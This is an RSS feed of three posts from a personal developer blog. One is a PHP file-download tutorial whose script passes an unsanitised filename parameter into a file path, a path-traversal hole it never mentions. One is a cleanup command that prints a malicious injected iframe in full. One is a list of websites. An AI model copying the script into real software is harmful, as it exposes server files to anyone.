<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Zayin Krige</title>
	<atom:link href="http://www.zayinkrige.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.zayinkrige.com</link>
	<description>CodeIgniter, PHP, Java, Javascript &#38; Linux</description>
	<lastBuildDate>Fri, 19 Aug 2011 07:08:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>download files with mod_rewrite</title>
		<link>http://www.zayinkrige.com/download-files-with-mod_rewrite/</link>
		<comments>http://www.zayinkrige.com/download-files-with-mod_rewrite/#comments</comments>
		<pubDate>Mon, 30 May 2011 10:58:58 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=167</guid>
		<description><![CDATA[I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar However, I&#8217;ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file. step 1 &#8211; create a php function to download a file ?View Code PHP&#60;?php &#160; $filename = $_GET&#91;'filename'&#93;; $path = $_SERVER&#91;'DOCUMENT_ROOT'&#93; [...]]]></description>
			<content:encoded><![CDATA[<p>I have a software app that checks for updates and downloads them from http://www.some_random_website.com/updatefile.rar</p>
<p>However, I&#8217;ve noticed that ISPS tend to cache these files so the software app isnt always getting the latest file.</p>
<p>step 1 &#8211; create a php function to download a file</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p167code3'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1673"><td class="code" id="p167code3"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
&nbsp;
<span style="color: #000088;">$filename</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'filename'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_SERVER</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;/<span style="color: #006699; font-weight: bold;">$filename</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fopen"><span style="color: #990000;">fopen</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$fsize</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/filesize"><span style="color: #990000;">filesize</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$path</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Cache-Control: no-cache, must-revalidate&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Expires: Sat, 26 Jul 1997 05:00:00 GMT&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> 
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-type: application/octet-stream&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-Disposition: filename=<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$filename</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\&quot;</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-length: <span style="color: #006699; font-weight: bold;">$fsize</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <a href="http://www.php.net/header"><span style="color: #990000;">header</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Cache-control: private&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//use this to open files directly</span>
    <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/feof"><span style="color: #990000;">feof</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> 
    <span style="color: #009900;">&#123;</span>
        <span style="color: #000088;">$buffer</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/fread"><span style="color: #990000;">fread</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2048</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">echo</span> <span style="color: #000088;">$buffer</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<a href="http://www.php.net/fclose"><span style="color: #990000;">fclose</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$fd</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>step 2 &#8211; rewrite urls so that when requesting /some_file.rar, it redirects to the php app as defined</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p167code4'); return false;">View Code</a> HTML</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1674"><td class="code" id="p167code4"><pre class="html" style="font-family:monospace;">Options +FollowSymlinks
RewriteEngine on
RewriteRule ^(.+)\.rar$ ./getfile.php?filename=$1.rar [NC]</pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d167').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d167" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;submitHeadline=download+files+with+mod_rewrite&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;bm_description=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;T=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;title=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+download+files+with+mod_rewrite+@+http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fdownload-files-with-mod_rewrite%2F&amp;t=download+files+with+mod_rewrite" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d167').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d167').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/download-files-with-mod_rewrite/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cleaning up iframe injection attack</title>
		<link>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/</link>
		<comments>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/#comments</comments>
		<pubDate>Tue, 05 Apr 2011 11:50:41 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=164</guid>
		<description><![CDATA[So some clever hackers managed to run an iframe injection attack on my site heres how I cleaned it ?View Code BASHfind ./ type f -exec sed -i 's/&#60;iframe src=&#34;http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2&#34; width=&#34;1&#34; height=&#34;1&#34; frameborder=&#34;0&#34;&#62;&#60;\/iframe&#62;//g' &#123;&#125; \; Bookmark It Hide Sites]]></description>
			<content:encoded><![CDATA[<p>So some clever hackers managed to run an iframe injection attack on my site</p>
<p>heres how I cleaned it</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p164code6'); return false;">View Code</a> BASH</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p1646"><td class="code" id="p164code6"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">find</span> .<span style="color: #000000; font-weight: bold;">/</span> <span style="color: #7a0874; font-weight: bold;">type</span> f <span style="color: #660033;">-exec</span> <span style="color: #c20cb9; font-weight: bold;">sed</span> <span style="color: #660033;">-i</span> <span style="color: #ff0000;">'s/&lt;iframe src=&quot;http:\/\/byh1.co.cc\/index.php?tp=25971e546d04c7c2&quot; width=&quot;1&quot; height=&quot;1&quot; frameborder=&quot;0&quot;&gt;&lt;\/iframe&gt;//g'</span> <span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span> \;</pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d164').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d164" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;submitHeadline=Cleaning+up+iframe+injection+attack&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;bm_description=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;T=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;title=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Cleaning+up+iframe+injection+attack+@+http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fcleaning-up-iframe-injection-attack%2F&amp;t=Cleaning+up+iframe+injection+attack" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d164').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d164').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/cleaning-up-iframe-injection-attack/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Websites that *everyone* should know</title>
		<link>http://www.zayinkrige.com/websites-that-everyone-should-know/</link>
		<comments>http://www.zayinkrige.com/websites-that-everyone-should-know/#comments</comments>
		<pubDate>Wed, 23 Mar 2011 08:13:39 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[useful]]></category>
		<category><![CDATA[useful websites]]></category>
		<category><![CDATA[websites]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=161</guid>
		<description><![CDATA[This is a departure from my usual posts, but I think everyone can make use of this. Wallbase &#8211; Wallpapers Simplynoise &#8211; Noise Cancelation Grooveshark &#8211; Music RainyMood &#8211; Noise Cancelation Lifehacker &#8211; Tips/tricks for everyday Zamzar &#8211; Online file conversion Qwiki &#8211; Transcribed audio/images into a video from any wiki article Tinyurl &#8211; URL [...]]]></description>
			<content:encoded><![CDATA[<p>This is a departure from my usual posts, but I think everyone can make use of this.</p>
<ul>
<li><a href="http://wallbase.net/">Wallbase</a> &#8211; Wallpapers</li>
<li><a href="http://simplynoise.com/">Simplynoise</a> &#8211; Noise Cancelation</li>
<li><a href="http://grooveshark.com/">Grooveshark</a> &#8211; Music</li>
<li><a href="http://rainymood.com/">RainyMood</a> &#8211; Noise Cancelation</li>
<li><a href="http://lifehacker.com/">Lifehacker</a> &#8211; Tips/tricks for everyday</li>
<li><a href="http://zamzar.com/">Zamzar</a> &#8211; Online file conversion</li>
<li><a href="http://www.qwiki.com/">Qwiki</a> &#8211; Transcribed audio/images into a video from any wiki article</li>
<li><a href="http://tinyurl.com/">Tinyurl</a> &#8211; URL Shortener</li>
<li><a href="http://l-mail.com/">L-Mail</a> &#8211; Send letters online</li>
<li><a href="http://www.wolframalpha.com/">WolframAlpha</a> &#8211; Computational knowledge engine</li>
<li><a href="http://lmgtfy.com/">LMGTFY</a> &#8211; Teach people to google their problems</li>
<li><a href="http://ninite.com/">Ninite</a> &#8211; Fast way to update/install software</li>
<li><a href="http://new.myfonts.com/WhatTheFont/">WhatTheFont</a> &#8211; Match fonts</li>
<li><a href="http://www.tineye.com/">Tineye</a> &#8211; Reverse image search</li>
<li><a href="http://warbeats.com/">Warbeats</a> &#8211; Improve your beatmaking skills</li>
<li><a href="http://iconspedia.com/">Iconspedia</a> &#8211; Icon resource</li>
<li><a href="http://youropenbook.org/">Openbook</a> &#8211; Search public facebook statuses</li>
<li><a href="http://lizardpoint.com/">Lizardpoint</a> &#8211; Learn geography</li>
<li><a href="http://www.thinkingallowed.com/">ThinkingAllowed</a> &#8211; Thought-provoking videos</li>
<li><a href="http://ted.com/">TED</a> &#8211; Ideas worth spreading</li>
<li><a href="http://www.khanacademy.org/">KhanAcademy</a> &#8211; Science/Math tutorials</li>
<li><a href="http://www.howstuffworks.com/">HowStuffWorks</a> &#8211; Fucking magnets</li>
<li><a href="http://thelotteryoflife.co.uk/">The Lottery of Life</a> &#8211; Birth Lottery</li>
<li><a href="http://ch131.com/">CH131</a> &#8211; Online TV streams</li>
<li><a href="http://forum.suprbay.org/">Suprbay</a> &#8211; Torrent discussion/resources</li>
<li><a href="http://sleepyti.me/">Sleepyti.me</a> &#8211; Sleep calculator</li>
<li><a href="http://liveleak.com/">Liveleak</a> &#8211; Uncensored video</li>
<li><a href="http://whosampled.com/">Whosampled</a> &#8211; Find music samples</li>
<li><a href="http://tastekid.com/">Tastekid</a> &#8211; Find related TV, Music, Movies, Books, etc</li>
<li><a href="http://forum.bodybuilding.com/">BodyBuilding</a> &#8211; Fitness</li>
<li><a href="http://www.livestation.com/channels/3-al_jazeera_english">Al Jazeera English Live</a> &#8211; Reputable news source, 24/7 stream</li>
<li><a href="http://www.di.fm/">DI.fm</a> &#8211; HQ Electronic Radio Resource</li>
<li><a href="http://www.live365.com/index.live">Live365</a> &#8211; Online radio</li>
<li><a href="http://www.bugmenot.com/">BugMeNot</a> &#8211; Find/Share login/passwords to avoid signing up</li>
<li><a href="http://www.studyblue.com/">StudyBlue</a> &#8211; Create flashcards to study</li>
<li><a href="http://mp3cut.net/">mp3cut</a> &#8211; Cut mp3s online</li>
<li><a href="http://www.whatismyip.com/">WhatIsMyIp</a> &#8211; Find your IP address</li>
<li><a href="http://www.w3schools.com/">W3Schools</a> &#8211; Learn web programming</li>
<li><a href="http://www.boston.com/bigpicture/">Boston.com &#8211; The Big Picture</a> &#8211; Amazing photo galleries</li>
<li><a href="http://popurls.com/">PopURLs</a> &#8211; Feed from top stories of news aggregators</li>
<li><a href="http://www.scribd.com/">Scribd</a> &#8211; Text hosting</li>
<li><a href="http://last.fm/">Last.fm</a> &#8211; Your listening history/find related artists</li>
<li><a href="http://www.retailmenot.com/">RetailMeNot</a> &#8211; Coupons</li>
